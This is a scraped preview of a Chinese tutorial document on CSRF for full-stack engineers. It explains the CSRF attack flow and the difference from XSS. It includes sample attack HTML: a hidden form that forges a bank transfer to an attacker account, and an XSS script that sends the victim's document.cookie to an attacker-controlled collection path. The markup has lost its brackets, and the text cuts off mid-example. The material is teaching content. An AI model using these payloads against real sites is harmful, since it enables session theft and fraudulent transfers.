全栈工程师-Web安全与性能优化-OWASP Top 10_跨站请求伪造(CSRF)防护.docx

全栈工程师-Web安全与性能优化-OWASP Top 10_跨站请求伪造(CSRF)防护.docx

  1. 1、本文档共18页,可阅读全部内容。
  2. 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多

PAGE1

PAGE1

跨站请求伪造(CSRF)基础

1CSRF攻击原理

跨站请求伪造(Cross-SiteRequestForgery,简称CSRF)是一种攻击方式,它利用了合法用户的身份,通过在第三方网站上执行恶意代码,来发起对目标网站的请求。CSRF攻击之所以能够成功,是因为浏览器在发送请求时会自动包含任何与请求相关的cookies,这包括了用户在目标网站上的会话cookie。如果目标网站没有对请求进行足够的验证,那么攻击者就可以利用这一点,以用户的身份执行操作。

1.1攻击流程

用户登录目标网站:用户在网站A上登录,浏览器保存了会话cookie。

访问恶意网站:用户随后访问了网站B,这个网站由攻击者控制。

恶意代码执行:网站B上的恶意代码(通常是HTML或JavaScript)构造了一个请求,这个请求看起来像是用户主动在网站A上发起的。

请求发送:当用户在网站B上执行某些操作时(如点击一个链接或图片),恶意代码会利用用户的会话cookie,向网站A发送请求。

目标网站响应:网站A收到请求后,由于请求中包含了有效的会话cookie,它会认为这是用户主动发起的请求,并执行相应的操作,如转账、更改密码等。

2CSRF攻击示例

假设有一个银行网站,用户登录后可以进行转账操作。攻击者可以创建一个恶意的HTML页面,当用户访问这个页面时,页面上的代码会自动发起一个转账请求到银行网站。

!--恶意网站上的HTML代码--

!DOCTYPEhtml

html

head

title恶意网站/title

/head

body

h1欢迎来到我的网站!/h1

!--当用户点击这个图片时,会触发一个向银行网站的转账请求--

imgsrc=/image.pngonclick=document.forms[transferForm].submit();

formid=transferFormaction=/transfermethod=POST

!--攻击者预设的转账信息--

inputtype=hiddenname=amountvalue=1000

inputtype=hiddenname=toAccountvalue=attackerAccount

/form

/body

/html

在这个例子中,当用户点击图片时,会触发一个向银行网站的POST请求,请求中包含了转账的金额和目标账户。如果银行网站没有对请求进行足够的验证,那么用户的账户就会被攻击者控制的账户转账1000元。

3CSRF与XSS的区别

CSRF(跨站请求伪造)和XSS(跨站脚本)虽然都是利用了第三方网站来发起攻击,但它们的攻击方式和目标是不同的。

XSS攻击:攻击者通过在网站上注入恶意脚本来获取用户的敏感信息,如cookies、用户名、密码等。XSS攻击的目标是获取用户的数据,而不是利用用户的身份执行操作。

CSRF攻击:攻击者通过在第三方网站上执行恶意代码,来利用用户的身份在目标网站上执行操作。CSRF攻击的目标是利用用户的身份执行操作,而不是获取用户的数据。

3.1示例对比

3.1.1XSS攻击示例

!--恶意网站上的HTML代码--

!DOCTYPEhtml

html

head

title恶意网站/title

/head

body

h1欢迎来到我的网站!/h1

!--当用户访问这个页面时,恶意脚本会执行,尝试读取目标网站的cookies--

script

document.write(imgsrc=/image.pngonerror=this.src=\/collectCookies?cookies=\+document.cookie;);

/script

/body

/html

在这个XSS攻击的例子中,恶意脚本尝试读取用户的cookies,并将它们发送到攻击者控制的服务器上。

3.1.2CSRF攻击示例

!--恶意网站上的HTML代码--

!DOCTYPEhtml

html

head

title恶意网站/title

/head

body

h1欢迎来到我的网站!/h1

!--当用户访问这个页面时,会自动发起一个向目标网站的请求--

imgsrc=/image.pngonload=document.forms[transferForm].submit();

formid=transferFormaction=/transfermethod=POST

!--攻击者预设

您可能关注的文档

文档评论(0)

kkzhujl + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档